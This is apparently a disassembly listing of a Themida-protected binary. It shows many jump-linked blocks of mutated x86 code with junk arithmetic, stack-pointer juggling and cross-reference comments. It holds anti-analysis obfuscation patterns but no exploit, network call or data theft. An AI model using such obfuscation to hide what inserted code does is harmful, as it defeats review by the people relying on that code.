; ---------------------------------------------------------------------------


loc_5579D1:				; CODE XREF: Themida_:0055C2BCj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_55D75F
; ---------------------------------------------------------------------------


loc_5579DB:				; CODE XREF: Themida_:00554A27j
		sub	bl, dh
		pop	edx
		sub	bl, 61h
		push	edx
		push	ecx
		mov	cl, 0DEh
		jmp	loc_556A9E
; ---------------------------------------------------------------------------


loc_5579EA:				; CODE XREF: Themida_:00554623j
		add	ebp, 0E4467B3Eh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_555B80
; ---------------------------------------------------------------------------


loc_5579F8:				; CODE XREF: Themida_:0055DD00j
		push	ebx
		mov	ebx, 11C71D94h
		not	ebx
		not	ebx
		jmp	loc_55C832
; ---------------------------------------------------------------------------


loc_557A07:				; CODE XREF: Themida_:0055421Aj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_556AB1
; ---------------------------------------------------------------------------


loc_557A12:				; CODE XREF: Themida_:005564DBj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55F155
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_55E11A
; ---------------------------------------------------------------------------


loc_557A2C:				; CODE XREF: Themida_:005544A2j
		xor	al, bl
		jmp	loc_553769
; ---------------------------------------------------------------------------


loc_557A33:				; CODE XREF: Themida_:0055BB06j
		pop	ebp
		jmp	loc_557773
; ---------------------------------------------------------------------------


loc_557A39:				; CODE XREF: Themida_:0055CC5Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5581F1
; ---------------------------------------------------------------------------
word_557A52	dw 2489h		; CODE XREF: Themida_:0055888Dj
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 8Fh
		add	al, 24h
		jmp	loc_55C714
; ---------------------------------------------------------------------------


loc_557A61:				; CODE XREF: Themida_:0055598Dj
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edi
		jmp	loc_5558D9
; ---------------------------------------------------------------------------


loc_557A77:				; CODE XREF: Themida_:0055634Aj
		add	bl, 11h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555219
; ---------------------------------------------------------------------------


loc_557A88:				; CODE XREF: Themida_:00554C7Ej
		push	0C9Ch
		mov	[esp], eax
		mov	eax, 695A0BABh
		and	eax, 69F6431Dh
		add	eax, 3FB923C5h
		shr	eax, 1
		sub	eax, 54859363h
		add	edi, eax
		jmp	loc_55AD37
; ---------------------------------------------------------------------------


loc_557AAD:				; CODE XREF: Themida_:0055B379j
		push	edi
		mov	edi, 7AC84B8Eh
		shl	edi, 5
		add	edi, 26905DA0h
		jmp	loc_55C5A0
; ---------------------------------------------------------------------------


loc_557AC1:				; CODE XREF: Themida_:0055C2E6j
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_55EEDD
; ---------------------------------------------------------------------------


loc_557AD4:				; CODE XREF: Themida_:00553A24j
		push	dword ptr [esp]
		jmp	loc_55BEC1
; ---------------------------------------------------------------------------


loc_557ADC:				; CODE XREF: Themida_:005571DEj
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55926F
; ---------------------------------------------------------------------------


loc_557AF8:				; CODE XREF: Themida_:0055D606j
		xchg	eax, ebx
		push	eax
		mov	eax, 34BB0E8Fh
		jmp	loc_5570A1
; ---------------------------------------------------------------------------


loc_557B04:				; CODE XREF: Themida_:00555003j
		xchg	edi, [esp]
		jmp	loc_553FD5
; ---------------------------------------------------------------------------


loc_557B0C:				; CODE XREF: Themida_:0055B560j
		sub	esi, 55B757E4h
		pop	ebx
		jmp	loc_558755
; ---------------------------------------------------------------------------


loc_557B18:				; CODE XREF: Themida_:0055A8DFj
		pop	edi
		xor	edi, 33B034E2h
		pop	eax
		pop	esi
		jmp	loc_55BDC9
; ---------------------------------------------------------------------------


loc_557B26:				; CODE XREF: Themida_:0055A5B8j
		mov	ah, 0A3h
		or	ah, 0Eh
		dec	ah
		not	ah
		push	ebx
		mov	bl, 0CBh
		jmp	loc_55ED9D
; ---------------------------------------------------------------------------


loc_557B37:				; CODE XREF: Themida_:00555A47j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55A913
; ---------------------------------------------------------------------------


loc_557B49:				; CODE XREF: Themida_:00553405j
		shr	esi, 3
		jmp	loc_5554CA
; ---------------------------------------------------------------------------


loc_557B51:				; CODE XREF: Themida_:00558D71j
		mov	[esp], ebx
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	esi
		mov	esi, 5059391Dh
		jmp	loc_55CE82
; ---------------------------------------------------------------------------


loc_557B6A:				; CODE XREF: Themida_:00554CEBj
		sub	edi, ecx
		push	6AC7h
		mov	[esp], edx
		push	28F3h
		mov	[esp], esi
		push	edi
		jmp	loc_55A0AB
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	ecx
		jmp	loc_55DD11
; ---------------------------------------------------------------------------


loc_557B8D:				; CODE XREF: Themida_:0055A889j
		sub	esp, 4
		mov	[esp], ebp
		mov	bp, 449Bh
		add	bp, 4653h
		jmp	loc_5550EE
; ---------------------------------------------------------------------------


loc_557BA4:				; CODE XREF: Themida_:0055B909j
		neg	edi
		xor	edi, 0A50CBFCFh
		sub	edx, edi
		jmp	loc_55904A
; ---------------------------------------------------------------------------


loc_557BB3:				; CODE XREF: Themida_:00559A73j
		add	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_55680E
; ---------------------------------------------------------------------------


loc_557BBE:				; CODE XREF: Themida_:005560AFj
		mov	ecx, eax
		pop	eax
		push	ecx
		mov	edi, [esp]
		jmp	loc_5542A0
; ---------------------------------------------------------------------------


loc_557BCA:				; CODE XREF: Themida_:00553F88j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D74B
; ---------------------------------------------------------------------------


loc_557BDE:				; CODE XREF: Themida_:0055A833j
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		push	edx
		jmp	loc_55E8BD
; ---------------------------------------------------------------------------


loc_557BF3:				; CODE XREF: Themida_:0055EDABj
		or	bh, cl
		pop	ecx
		jmp	loc_558C4E
; ---------------------------------------------------------------------------


loc_557BFB:				; CODE XREF: Themida_:005551C1j
		push	esi
		jmp	loc_55B405
; ---------------------------------------------------------------------------


loc_557C01:				; CODE XREF: Themida_:0055379Ej
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_556B69
; ---------------------------------------------------------------------------


loc_557C0A:				; CODE XREF: Themida_:0055D8EFj
		sub	edi, 6745F2FCh
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5593D5
; ---------------------------------------------------------------------------


loc_557C21:				; CODE XREF: Themida_:005542B7j
		xor	[esp], ecx
		jmp	loc_55406F
; ---------------------------------------------------------------------------


loc_557C29:				; CODE XREF: Themida_:00559AD3j
		add	eax, 4
		jmp	loc_55D1B1
; ---------------------------------------------------------------------------


loc_557C33:				; CODE XREF: Themida_:005530C6j
		mov	[esp], esi
		mov	esi, 1C082217h
		or	esi, 1A14665Fh
		dec	esi
		not	esi
		sub	esi, 0FFFFFFFFh
		xor	esi, 81E4AA1Eh
		or	ebx, esi
		jmp	loc_553DC0
; ---------------------------------------------------------------------------


loc_557C54:				; CODE XREF: Themida_:00555394j
		mov	cl, 0E6h
		sub	cl, ah
		pop	eax
		not	cl
		xor	cl, 57h
		jmp	loc_5541C6
; ---------------------------------------------------------------------------


loc_557C63:				; CODE XREF: Themida_:005593C7j
		sub	edi, 65627390h
		xor	edi, 9C80AD8Eh
		sub	ebp, edi
		pop	edi
		sub	ebp, edx
		jmp	loc_55E7A8
; ---------------------------------------------------------------------------


loc_557C79:				; CODE XREF: Themida_:00554BD0j
		or	esi, 43F72306h
		shl	esi, 4
		push	edx
		mov	edx, 3B4F04EFh
		sub	edx, 7B975C47h
		sub	edx, 0AAE03C35h
		jmp	loc_55BC08
; ---------------------------------------------------------------------------


loc_557C99:				; CODE XREF: Themida_:0055B5A0j
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	7D5Bh
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, 28315A3h
		add	ebx, 2F840838h
		add	ebx, eax
		sub	ebx, 2F840838h
		push	ebp
		mov	ebp, 28315A3h
		sub	ebx, ebp
		pop	ebp
		mov	[ebx], dl
		mov	ebx, [esp]
		push	3262h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 7ADA027Ch
		shr	edi, 4
		inc	edi
		and	edi, 159A4CBEh
		dec	edi
		not	edi
		sub	edi, 0FA77FFD4h
		add	edx, 1B04114Bh
		jmp	loc_55E5B9
; ---------------------------------------------------------------------------


loc_557D01:				; CODE XREF: Themida_:0055A87Aj
		or	ebp, 776E3B7Eh
		jmp	loc_55DACF
; ---------------------------------------------------------------------------


loc_557D0C:				; CODE XREF: Themida_:005544BCj
		mov	bp, 13B6h
		sub	ax, bp
		pop	bp
		push	bx
		mov	bx, 31Bh
		add	ax, bx
		pop	bx
		sub	ax, 718Eh
		sub	ax, dx
		add	ax, 718Eh
		sub	ax, 31Bh
		add	ax, 13B6h
		pop	dx
		pop	dx
		push	ecx
		mov	ecx, esp
		jmp	loc_5563BB
; ---------------------------------------------------------------------------


loc_557D3F:				; CODE XREF: Themida_:005556F3j
		push	ebp
		push	edi
		mov	edi, 7F662FE9h
		mov	ebp, edi
		pop	edi
		push	ebx
		push	7B2C6120h
		pop	ebx
		shl	ebx, 4
		jmp	loc_5589BF
; ---------------------------------------------------------------------------


loc_557D58:				; CODE XREF: Themida_:0055EF34j
		push	ebp
		pop	eax
		pop	ebp
		inc	eax
		not	eax
		xor	eax, 8377DEh
		jmp	loc_556B86
; ---------------------------------------------------------------------------


loc_557D68:				; CODE XREF: Themida_:0055C35Bj
		pop	eax
		push	462Fh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	5ECBh
		mov	[esp], edx
		mov	edx, 125703AEh
		shl	edx, 6
		xor	edx, 50E11FC7h
		push	edi
		mov	edi, 103547AFh
		jmp	loc_555C69
; ---------------------------------------------------------------------------


loc_557D94:				; CODE XREF: Themida_:0055391Ej
		mov	eax, 4
		jmp	loc_55CA8E
; ---------------------------------------------------------------------------


loc_557D9E:				; CODE XREF: Themida_:0055D9BAj
		add	bl, 90h
		jmp	loc_55CDFC
; ---------------------------------------------------------------------------


loc_557DA6:				; CODE XREF: Themida_:005531C7j
		pop	ecx
		jmp	loc_55B463
; ---------------------------------------------------------------------------


loc_557DAC:				; CODE XREF: Themida_:005593D0j
		push	edx
		mov	dl, 5Eh
		and	dl, 0A1h
		sub	dl, 0B0h
		or	dl, 0BAh
		xor	dl, 0FEh
		jmp	loc_5585EA
; ---------------------------------------------------------------------------


loc_557DC0:				; CODE XREF: Themida_:0055A338j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	bx, 6D47h
		jmp	loc_554771
; ---------------------------------------------------------------------------


loc_557DD6:				; CODE XREF: Themida_:00559137j
		pop	esp
		add	edx, 4
		jmp	loc_55F079
; ---------------------------------------------------------------------------


loc_557DE2:				; CODE XREF: Themida_:0055CE57j
		sub	ecx, esi
		sub	ecx, 0A3A4392h
		pop	esi
		mov	edx, ecx
		jmp	loc_55D39B
; ---------------------------------------------------------------------------


loc_557DF2:				; CODE XREF: Themida_:005532E3j
		add	ecx, ebp
		pop	ebp
		sub	eax, ecx
		pop	ecx
		sub	eax, 0B0F5C8Ah
		add	eax, ebx
		jmp	loc_55D2A5
; ---------------------------------------------------------------------------


loc_557E04:				; CODE XREF: Themida_:005563B6j
		xchg	eax, edx
		xchg	eax, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	eax
		mov	eax, 597914A2h
		sub	eax, 5979149Eh
		add	ebp, 77761E1Ch
		add	ebp, eax
		sub	ebp, 77761E1Ch
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_553EE6
; ---------------------------------------------------------------------------


loc_557E49:				; CODE XREF: Themida_:0055C931j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_553F64
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		jmp	loc_553A0E
; ---------------------------------------------------------------------------


loc_557E77:				; CODE XREF: Themida_:005540B7j
		push	ebx
		mov	ebx, 49592B04h
		sub	dword ptr [esp+8], 6B1D2E6Dh
		sub	[esp+8], ebx
		add	dword ptr [esp+8], 6B1D2E6Dh
		pop	ebx
		jmp	loc_55EEAA
; ---------------------------------------------------------------------------


loc_557E97:				; CODE XREF: Themida_:0055533Fj
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_559728
; ---------------------------------------------------------------------------


loc_557EA9:				; CODE XREF: Themida_:0055F1B3j
		add	edx, ebx
		pop	ebx
		push	edi
		push	ecx
		mov	ecx, 330C133Bh
		jmp	loc_5559AB
; ---------------------------------------------------------------------------


loc_557EB8:				; CODE XREF: Themida_:00557965j
		push	ebp
		push	6FDB4E44h
		pop	ebp
		dec	ebp
		add	ebp, 0FFFFFFFFh
		xor	ebp, 35D51800h
		sub	ebp, 0F45E121Bh
		add	ecx, ebp
		pop	ebp
		not	ecx
		push	edi
		jmp	loc_55340A
; ---------------------------------------------------------------------------


loc_557EDA:				; CODE XREF: Themida_:00556F23j
		mov	ecx, 2
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55A01A
; ---------------------------------------------------------------------------


loc_557EF5:				; CODE XREF: Themida_:0055528Ej
		mov	edi, esi
		pop	esi
		jmp	loc_553A80
; ---------------------------------------------------------------------------


loc_557EFD:				; CODE XREF: Themida_:0055AA1Dj
		add	dword ptr [esp+4], 7DE16AD0h
		add	dword ptr [esp+4], 49592B04h
		jmp	loc_559E5B
; ---------------------------------------------------------------------------


loc_557F12:				; CODE XREF: Themida_:0055BBF6j
		xchg	ecx, [esp]
		pop	esp
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 27590928h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		add	ebx, 0D8A6F6D9h
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_554708
; ---------------------------------------------------------------------------


loc_557F43:				; CODE XREF: Themida_:00553CA7j
		pop	ebx
		sub	ebx, 4CDC6EF4h
		pop	edi
		add	edx, 733821A9h
		jmp	loc_553285
; ---------------------------------------------------------------------------


loc_557F56:				; CODE XREF: Themida_:005555CEj
		push	edx
		mov	edx, 3F48281Ah
		inc	edx
		shl	edx, 4
		inc	edx
		add	edx, 1A59AB36h
		sub	ecx, edx
		pop	edx
		dec	ecx
		add	ecx, 0ECDA2BDAh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55955D
; ---------------------------------------------------------------------------


loc_557F7E:				; CODE XREF: Themida_:0055B6AFj
		mov	esi, 2D114596h
		sub	esi, 1DC430D5h
		jmp	loc_55AA9B
; ---------------------------------------------------------------------------


loc_557F8E:				; CODE XREF: Themida_:0055995Aj
		sub	eax, 30392788h
		sub	eax, ecx
		add	eax, 30392788h
		sub	esp, 4
		jmp	loc_554B2C
; ---------------------------------------------------------------------------


loc_557FA2:				; CODE XREF: Themida_:0055D1C2j
		push	6DCEh
		mov	[esp], eax
		push	edx
		push	2A6B6F20h
		jmp	loc_5571BA
; ---------------------------------------------------------------------------


loc_557FB5:				; CODE XREF: Themida_:0055A895j
		push	3A94h
		jmp	loc_55CCA1
; ---------------------------------------------------------------------------


loc_557FBF:				; CODE XREF: Themida_:0055C6FAj
		push	ebp
		mov	ebp, 2CFF3251h
		jmp	loc_55C60E
; ---------------------------------------------------------------------------


loc_557FCA:				; CODE XREF: Themida_:0055E983j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 64754BF5h
		mov	eax, 647A853Ch
		jmp	loc_55D4BE
; ---------------------------------------------------------------------------


loc_557FDF:				; CODE XREF: Themida_:0055D38Ej
		xor	eax, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_557FE8:				; CODE XREF: Themida_:00553FC8j
		add	esp, 4
		sub	esi, 5CA840B9h
		sub	esi, 49A721E4h
		sub	esi, edi
		jmp	loc_55D274
; ---------------------------------------------------------------------------


loc_557FFE:				; CODE XREF: Themida_:005596C2j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559104
; ---------------------------------------------------------------------------


loc_558007:				; CODE XREF: Themida_:00555224j
		shr	al, 2
		push	ebx
		jmp	loc_555BD0
; ---------------------------------------------------------------------------


loc_558010:				; CODE XREF: Themida_:0055A901j
		push	16946E81h
		pop	edi
		jmp	loc_554A9C
; ---------------------------------------------------------------------------


loc_55801B:				; CODE XREF: Themida_:00554BBFj
		add	edx, eax
		sub	edx, 269C4C89h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_55C184
; ---------------------------------------------------------------------------


loc_55803B:				; CODE XREF: Themida_:00554579j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1DDD06C5h
		jmp	loc_55D02E
; ---------------------------------------------------------------------------


loc_55804E:				; CODE XREF: Themida_:0055E15Fj
		mov	eax, 3DEF7EBh
		xor	esi, eax
		pop	eax
		jmp	loc_55D377
; ---------------------------------------------------------------------------


loc_55805B:				; CODE XREF: Themida_:0055A763j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 701E652Eh
		and	esi, 56653E1Ch
		xor	esi, 55C360BDh
		xor	esi, 890635Ch
		jmp	loc_555681
; ---------------------------------------------------------------------------


loc_55808A:				; CODE XREF: Themida_:00556A41j
		push	bx
		push	eax
		mov	ah, 9Ah
		jmp	loc_555CE2
; ---------------------------------------------------------------------------


loc_558094:				; CODE XREF: Themida_:0055900Aj
		sub	dh, 0D6h
		add	bh, dh
		pop	edx
		push	edx
		mov	dl, 0Dh
		and	bh, dl
		pop	edx
		shl	bh, 3
		add	bh, 57h
		jmp	loc_55C00F
; ---------------------------------------------------------------------------


loc_5580AB:				; CODE XREF: Themida_:00558F66j
		add	dword ptr [esp], 36DC009Bh
		pop	eax
		sub	eax, 36DC009Bh
		pop	esi
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558327
; ---------------------------------------------------------------------------


loc_5580CA:				; CODE XREF: Themida_:0055AFC7j
		pop	ebp
		add	ebp, 1B20014Dh
		mov	edi, ebp
		pop	ebp
		shl	edi, 6
		add	edi, 1DB80A83h
		shr	edi, 1
		push	ebp
		mov	ebp, 1E1D70D1h
		shr	ebp, 6
		xor	ebp, 6FC1026Ah
		and	edi, ebp
		pop	ebp
		inc	edi
		xor	edi, 42864A6h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_557357
; ---------------------------------------------------------------------------


loc_558117:				; CODE XREF: Themida_:0055EEF0j
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7BBA2329h
		shl	edi, 7
		neg	edi
		jmp	loc_55419F
; ---------------------------------------------------------------------------


loc_55812C:				; CODE XREF: Themida_:00558504j
		xor	edx, 0FC364DA1h
		add	eax, edx
		jmp	loc_559AE8
; ---------------------------------------------------------------------------


loc_558139:				; CODE XREF: Themida_:0055712Dj
		pop	edi
		add	edi, 1A0E159Dh
		jmp	loc_554749
; ---------------------------------------------------------------------------


loc_558145:				; CODE XREF: Themida_:00554E03j
		mov	ecx, [esp]
		jmp	loc_559903
; ---------------------------------------------------------------------------


loc_55814D:				; CODE XREF: Themida_:005552C4j
		xor	bl, al
		movzx	eax, al
		push	small 4FD0h
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55815F:				; CODE XREF: Themida_:00556AF2j
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 62902BD8h
		sub	edi, 47343769h
		inc	edi
		and	edi, 3EC95CBBh
		push	eax
		jmp	loc_55CDC7
; ---------------------------------------------------------------------------


loc_55817E:				; CODE XREF: Themida_:00557314j
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5563B3
; ---------------------------------------------------------------------------


loc_5581A3:				; CODE XREF: Themida_:0055EABAj
		mov	[esp], edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 4DF907ABh
		jmp	loc_55CC86
; ---------------------------------------------------------------------------


loc_5581C2:				; CODE XREF: Themida_:00559B55j
		mov	edi, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55C01F
; ---------------------------------------------------------------------------


loc_5581DF:				; CODE XREF: Themida_:00554193j
		pop	edi
		xor	[esp+4], edx
		pop	edx
		pop	eax
		xor	eax, 7E530928h
		pop	esi
		jmp	loc_55E8CD
; ---------------------------------------------------------------------------


loc_5581F1:				; CODE XREF: Themida_:00557A4Dj
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	edx
		jmp	loc_5545D2
; ---------------------------------------------------------------------------


loc_5581FC:				; CODE XREF: Themida_:0055E1CEj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5562CC
; ---------------------------------------------------------------------------


loc_55820A:				; CODE XREF: Themida_:0055EA6Fj
		or	eax, 5F774D0h
		push	esi
		mov	esi, 0A13F9B1Ch
		xor	eax, esi
		pop	esi
		add	esi, eax
		pop	eax
		jmp	loc_55C1C0
; ---------------------------------------------------------------------------


loc_558220:				; CODE XREF: Themida_:0055517Ej
		pop	eax
		add	eax, 1FB3624Eh
		push	ecx
		mov	ecx, 14DC3A91h
		sub	eax, ecx
		pop	ecx
		push	7B9Bh
		mov	[esp], edx
		mov	edx, 7F847C2Eh
		jmp	loc_55B2A2
; ---------------------------------------------------------------------------


loc_558241:				; CODE XREF: Themida_:0055EB0Dj
		mov	ecx, edx
		jmp	loc_557963
; ---------------------------------------------------------------------------


loc_558248:				; CODE XREF: Themida_:00555827j
		push	eax
		mov	eax, 0DFB8F1FFh
		jmp	loc_55910A
; ---------------------------------------------------------------------------


loc_558253:				; CODE XREF: Themida_:00553477j
		dec	eax
		dec	eax
		jmp	loc_55D344
; ---------------------------------------------------------------------------


loc_55825A:				; CODE XREF: Themida_:0055EC75j
		mov	bl, cl
		pop	ecx
		pop	eax
		mov	ch, dl
		mov	dl, bl
		pop	bx
		jmp	loc_554646
; ---------------------------------------------------------------------------


loc_558269:				; CODE XREF: Themida_:0055677Bj
		dec	edi
		xor	edi, 48AB5214h
		add	edi, 0D3B2E10Bh
		jmp	loc_55AAD4
; ---------------------------------------------------------------------------


loc_55827B:				; CODE XREF: Themida_:0055EC41j
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		push	edx
		jmp	loc_55E65B
; ---------------------------------------------------------------------------


loc_55828B:				; CODE XREF: Themida_:0055C89Ej
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_558E54
; ---------------------------------------------------------------------------


loc_558299:				; CODE XREF: Themida_:0055D44Dj
		push	ebx
		push	2
		pop	ebx
		add	esi, 5DF5480Bh
		add	esi, 1332C91h
		add	esi, ebx
		sub	esi, 1332C91h
		sub	esi, 5DF5480Bh
		jmp	loc_557257
; ---------------------------------------------------------------------------


loc_5582BF:				; CODE XREF: Themida_:00554877j
		xor	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 445C7960h
		sub	ebx, 2A41EE5h
		not	ebx
		shr	ebx, 4
		not	ebx
		sub	ebx, 0C6100FD5h
		add	esi, 55B757E4h
		jmp	loc_55B55E
; ---------------------------------------------------------------------------


loc_5582E6:				; CODE XREF: Themida_:0055D1ACj
		xor	esi, 5B6171F4h
		mov	ecx, esi
		pop	esi
		jmp	loc_55A821
; ---------------------------------------------------------------------------


loc_5582F4:				; CODE XREF: Themida_:00556103j
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5551C6
; ---------------------------------------------------------------------------


loc_558307:				; CODE XREF: Themida_:0055E5E0j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55830C:				; CODE XREF: Themida_:0055897Ej
		sub	eax, ebp
		sub	eax, 22DA1FBFh
		pop	ebp
		push	7C46h
		mov	[esp], ebp
		push	edi
		mov	edi, 192E1F87h
		jmp	loc_5560BB
; ---------------------------------------------------------------------------


loc_558327:				; CODE XREF: Themida_:00553ADDj
					; Themida_:005580C5j
		push	ebp
		push	ecx
		push	ebx
		sub	dword ptr [esp], 77125470h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 77125470h
		jmp	loc_55CE43
; ---------------------------------------------------------------------------


loc_558345:				; CODE XREF: Themida_:0055488Dj
		pop	edi
		sub	edx, 4
		jmp	loc_55D425
; ---------------------------------------------------------------------------


loc_558351:				; CODE XREF: Themida_:00555B7Bj
		push	0
		sub	dword ptr [esp], 3C332368h
		sub	dword ptr [esp], 43DD78F8h
		sub	[esp], esi
		add	dword ptr [esp], 43DD78F8h
		add	dword ptr [esp], 3C332368h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 5
		push	edi
		jmp	loc_5530A2
; ---------------------------------------------------------------------------


loc_558387:				; CODE XREF: Themida_:005588A6j
		neg	ebx
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		push	edi
		mov	edi, 54BD5E26h
		jmp	loc_55AE54
; ---------------------------------------------------------------------------


loc_55839A:				; CODE XREF: Themida_:00552F0Cj
		add	eax, 4
		push	ecx
		jmp	loc_55592F
; ---------------------------------------------------------------------------


loc_5583A5:				; CODE XREF: Themida_:005592BDj
		mov	edx, esp
		jmp	loc_55EDE9
; ---------------------------------------------------------------------------


loc_5583AC:				; CODE XREF: Themida_:00556A52j
		pop	ecx
		jmp	loc_55711F
; ---------------------------------------------------------------------------


loc_5583B2:				; CODE XREF: Themida_:0055C37Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 0C414C84h
		mov	[edx+30h], eax
		pop	eax
		dec	dword ptr [edx+30h]
		jmp	loc_556BF0
; ---------------------------------------------------------------------------


loc_5583D6:				; CODE XREF: Themida_:00556C95j
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 23767B59h
		add	esi, 75866F9Bh
		xor	esi, 98FCEAF0h
		add	eax, 1B4108F7h
		add	eax, esi
		sub	eax, 1B4108F7h
		pop	esi
		sub	eax, 4
		jmp	loc_558DAC
; ---------------------------------------------------------------------------


loc_558406:				; CODE XREF: Themida_:0055980Bj
		mov	dl, al
		mov	eax, [esp]
		jmp	loc_5573AE
; ---------------------------------------------------------------------------


loc_558410:				; CODE XREF: Themida_:0055A9C6j
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_55F17E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55C9FB
; ---------------------------------------------------------------------------


loc_55842E:				; CODE XREF: Themida_:0055A94Cj
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_559ECD
; ---------------------------------------------------------------------------


loc_558440:				; CODE XREF: Themida_:0055550Ej
		shl	di, 2
		sub	di, 5B8Bh
		neg	di
		xor	di, 88BAh
		sub	di, 1
		jmp	loc_5598F0
; ---------------------------------------------------------------------------


loc_55845A:				; CODE XREF: Themida_:00555A6Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_553746
; ---------------------------------------------------------------------------


loc_558470:				; CODE XREF: Themida_:0055CEE0j
		shr	edx, 1
		inc	edx
		sub	edx, 7809622Ch
		xor	edx, 0A8027BB2h
		jmp	loc_559810
; ---------------------------------------------------------------------------


loc_558484:				; CODE XREF: Themida_:0055E5E7j
					; Themida_:0055F0FDj
		push	55A0h
		mov	[esp], ebx
		jmp	loc_554508
; ---------------------------------------------------------------------------


loc_558491:				; CODE XREF: Themida_:0055E8DEj
		dec	edx
		shr	edx, 1
		push	eax
		mov	eax, 2D50762Eh
		jmp	loc_559EC3
; ---------------------------------------------------------------------------


loc_55849F:				; CODE XREF: Themida_:0055EB1Dj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_557249
